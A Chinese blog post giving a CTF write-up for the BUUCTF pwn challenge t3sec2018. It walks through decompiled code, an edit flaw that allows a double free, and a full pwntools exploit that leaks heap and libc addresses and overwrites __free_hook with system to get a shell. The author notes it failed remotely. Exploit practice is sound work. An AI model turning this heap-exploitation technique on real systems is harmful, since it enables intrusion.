[BUUCTF-pwn] t3sec2018

[BUUCTF-pwn] t3sec2018,第1张

[BUUCTF-pwn] t3sec2018

数据结构:name:0x10,flag:8(1/0),content_ptr:8

读入name时有个溢出,name长度是16但可以读21,不过这个长度覆盖不到指针。

  puts("Input your note name and note content:");
  sub_AD6((char *)&unk_202060 + 32 * i, 21LL);  // 溢出
  sub_AD6(qword_202078[4 * i], v1);
  ++dword_202050;

free里没有清指针,但对标志进行了清除,在新建和删除时都会检查。

unsigned __int64 m3free()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Index:");
  _isoc99_scanf("%u", &v1);
  if ( *((_QWORD *)&unk_202070 + 4 * v1) == 1LL ) //检查状态标志
  {
    free((void *)qword_202078[4 * v1]);
    *((_QWORD *)&unk_202070 + 4 * v1) = 0LL;   //状态标志置0
    --dword_202050;
    puts("Done!");
  }
  else
  {
    puts("No such note!");
  }
  return __readfsqword(0x28u) ^ v2;
}

edit时不仅没有检查状态标志,而且可以溢出。不过不大明显,当strchr去找时会返回超出串长的位置。正好一位,几个小漏洞组成一个大漏洞:通过edit ->x01 将标记们置1,这样就有了UAF可以实现doublefree了。

unsigned __int64 m4edit()
{
  char *v0; // rax
  char buf; // [rsp+2h] [rbp-Eh] BYREF
  char v3; // [rsp+3h] [rbp-Dh] BYREF
  unsigned int v4; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  if ( dword_20204C > 1 )
  {
    puts("You are really annoying!");
    exit(0);
  }
  puts("Index:");
  _isoc99_scanf("%u", &v4);
  ++dword_20204C;
  puts("Which letter do you want to change?");
  read(0, &buf, 1uLL);
  if ( strchr((const char *)&unk_202060 + 32 * v4, buf) )
  {
    read(0, &v3, 1uLL);
    v0 = strchr((const char *)&unk_202060 + 32 * v4, buf);
    *v0 = v3;
    puts("Done!");
  }
  else
  {
    puts("No such letter");
  }
  return __readfsqword(0x28u) ^ v5;
}

不过问题依然存在。建块数量,大小和edit次数都有限制,无法释放大块(libc-2.27使用tcache至少需要0x420才能直接释放到unsortbin,即使修改头也要有足够空间才行),也不能多次释放填满tcache,edit只能两次。要得到libc很困难。

主要思路:

    由于数字部分由scanf读入,scanf会先把数据读到缓冲区(在堆上)再从里边读入数据,这里会生成一个0x1010的块,但每次都会执行scanf读菜单,所以不能直接释放它,unsortbin的指针被破坏会导致程序崩溃。由于读数字时只能是数字和空格回车,所以这里需要构造一个由数字回车空格组成的串来作头标记: 0xa31。 前边填充空格,将缓冲区填充到只剩0xa30的大小(释放时会检查底部chunk结构)。大多数情况下输入都很短不会影响到这个位置。通过doublefree得到环,将块建到0xa31的位置,然后释放再编辑show得到libc利用上一步doublefree后新建的两个指向相同地址的块释放再次得到环,将地址改为free_hook写入system

完整exp(远程不成功,得到的堆地址差0x10原因没想明白。但使用相同的libc不应该这样)

from pwn import *

'''
patchelf --set-interpreter ../buuoj_2.27_amd64/ld-2.27.so pwn
patchelf --add-needed ../buuoj_2.27_amd64/libc-2.27.so pwn
'''

elf = ELF('./pwn')
context.arch = 'amd64'

def connect():
    global p,libc_elf,one,libc_start_main_ret,local
    
    local = 0
    if local == 1:
        p = process('./pwn')
    else:
        p = remote('node4.buuoj.cn', 26073) 
    libc_elf = ELF('../buuoj_2.27_amd64/libc-2.27.so')
    one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a398,0x10a38c]
    libc_start_main_ret = 0x21b97

menu = b"5.Exitn"
def add(size, name, msg):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b"How long is your note?n", str(size).encode())
    p.sendafter(b"Input your note name and note content:", name) 
    sleep(0.1)
    p.send(msg)

def show(idx):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(b"Index:n", str(idx).encode())

def free(idx):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(b"Index:n", str(idx).encode())

def edit(idx, wih, c):
    p.sendlineafter(menu, b'4')
    p.sendlineafter(b"Index:n", str(idx).encode())
    p.sendafter(b"Which letter do you want to change?", wih)
    p.send(c)
    
def pwn():
    add(0x10, b'A'*0x10+b'x01', b'A')
    add(0x10, b'A'*0x10+b'x01', b'A')

    free(1)
    free(0)
    edit(0, b'x00', b'x01')
    show(0)
    p.recvuntil(b'Content:')
    heap_base = u64(p.recvline()[:-1].ljust(8, b'x00')) -0x260 -0x1010 -0x30 #remote +0x10
    print('heap:', hex(heap_base))
    
    free(0)
    p.sendlineafter(menu, b'2'.ljust(0x5d8, b' ')+ b'1') #0xa31  show(1) menu:2 chunk1
    
    add(0x10, b'A', p64(heap_base+0x850)) #0
    add(0x10, b'A', b'A') #1
    add(0x10, b'A'*0x10+b'x01', b'ABC') #2
    
    free(2)
    edit(2, b'x00', b'x01')
    show(2)
    p.recvuntil(b'Content:')
    libc_base = u64(p.recvline()[:-1].ljust(8, b'x00')) - 0x10 -0x60 - libc_elf.sym['__malloc_hook']
    libc_elf.address = libc_base
    one_gadget= libc_base + one[0] 
    print('libc:', hex(libc_base))
    
    free(0)
    free(1)
    add(0x10, b'A', p64(libc_elf.sym['__free_hook']))
    add(0x10, b'A', b'/bin/shx00')
    add(0x10, b'A', p64(libc_elf.sym['system']))
    free(1)
    
    p.sendline(b'cat /flag')
    p.interactive()

connect()
pwn()

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zaji/5714046.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-12-17
下一篇 2022-12-17

发表评论

登录后才能评论

评论列表(0条)

保存